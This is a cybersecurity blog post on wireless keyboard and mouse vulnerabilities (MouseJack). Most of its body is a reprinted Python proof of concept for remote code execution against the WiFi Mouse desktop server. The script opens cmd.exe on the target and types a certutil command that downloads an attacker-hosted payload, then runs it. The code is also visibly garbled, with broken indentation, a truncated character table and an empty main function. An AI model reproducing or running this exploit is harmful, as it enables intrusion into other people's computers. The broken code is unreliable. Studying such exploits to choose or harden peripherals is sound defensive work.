Thursday, April 18, 2024

Many wireless peripherals are vulnerable to a range of attacks, here’s an example!

Wireless peripherals and computer accessories offer mess-free convenience in the workspace, allowing users to move keyboards and mice to a more comfortable or visually pleasing position or to switch between computers at the press of a button. However, unlike other types of USB devices that IT departments vet – such as USB flash drives, card readers, fingerprint sensors, and authentication devices – wireless keyboards and mice might not receive a high level of scrutiny.

Wireless devices typically are not chosen and used with security in mind, and a surprising number of wireless keyboards and mice affected by a class of vulnerabilities called MouseJack can enable attackers to fully compromise the computers these devices connect to. By understanding wireless keyboard- and mouse-related computer peripheral attacks, organizations can better choose the types of accessories they allow to connect to user workstations. 

We’ve seen examples where with just fifteen lines of code, you can take over a computer more than a hundred yards away,

Here is one public POC example.

# Exploit Title: WiFi Mouse - Remote Code Execution

# Author: H4rk3nz0
# Vendor Homepage:
# Software Link:
# Version:
# Tested on: Windows Enterprise Build 17763
# Python 3 port done by RedHatAugust
# Original exploit:
# Tested on: Windows 10 Pro Build 15063
# Desktop Server software used by mobile app has PIN option which does not to prevent command input.
# Connection response will be 'needpassword' which is only interpreted by mobile app and prompts for PIN input.
#!/usr/bin/env python3
from socket import socket, AF_INET, SOCK_STREAM
from time import sleep
import sys
import string
target = socket(AF_INET, SOCK_STREAM)
port = 1978
	rhost = sys.argv[1]
	lhost = sys.argv[2]
	payload = sys.argv[3]
	print("USAGE: python " + sys.argv[0]+ " <target-ip> <local-http-server-ip> <payload-name>")
	" ":"20","+":"2b","=":"3d","/":"2f","_":"5f","<":"3c",
def openCMD():
	target.sendto(bytes.fromhex("6f70656e66696c65202f432f57696e646f77732f53797374656d33322f636d642e6578650a"), (rhost,port)) # openfile /C/Windows/System32/cmd.exe
def SendString(string):
	for char in string:
		target.sendto(bytes.fromhex("7574663820" + characters[char] + "0a"),(rhost,port)) # Sends Character hex with packet padding
def SendReturn():
	target.sendto(bytes.fromhex("6b657920203352544e"),(rhost,port)) # 'key 3RTN' - Similar to 'Remote Mouse' mobile app
def exploit():
	print("[+] 3..2..1..")
	print("[+] *Super fast hacker typing*")
	SendString("certutil.exe -urlcache -f http://" + lhost + "/" + payload + " C:\\Windows\\Temp\\" + payload)
	print("[+] Retrieving payload")
	SendString("C:\\Windows\\Temp\\" + payload)
	print("[+] Done! Check Your Listener?")
def main():
if __name__=="__main__":

Suggest an edit to this article

Recommended:  Common methods hackers use to hide credential stuffing attacks

Go to Cybersecurity Knowledge Base

Got to the Latest Cybersecurity News

Go to Cybersecurity Academy

Go to Homepage

Stay informed of the latest Cybersecurity trends, threats and developments. Sign up for our Weekly Cybersecurity Newsletter Today.

Remember, CyberSecurity Starts With You!

  • Globally, 30,000 websites are hacked daily.
  • 64% of companies worldwide have experienced at least one form of a cyber attack.
  • There were 20M breached records in March 2021.
  • In 2020, ransomware cases grew by 150%.
  • Email is responsible for around 94% of all malware.
  • Every 39 seconds, there is a new attack somewhere on the web.
  • An average of around 24,000 malicious mobile apps are blocked daily on the internet.
ClosePlease login
Share the word, let's increase Cybersecurity Awareness as we know it
- Sponsored -

Sponsored Offer

Unleash the Power of the Cloud: Grab $200 Credit for 60 Days on DigitalOcean!

Digital ocean free 200

Discover more infosec

User Avatar
Just your average information security researcher from Delaware US.

more infosec reads

Subscribe for weekly updates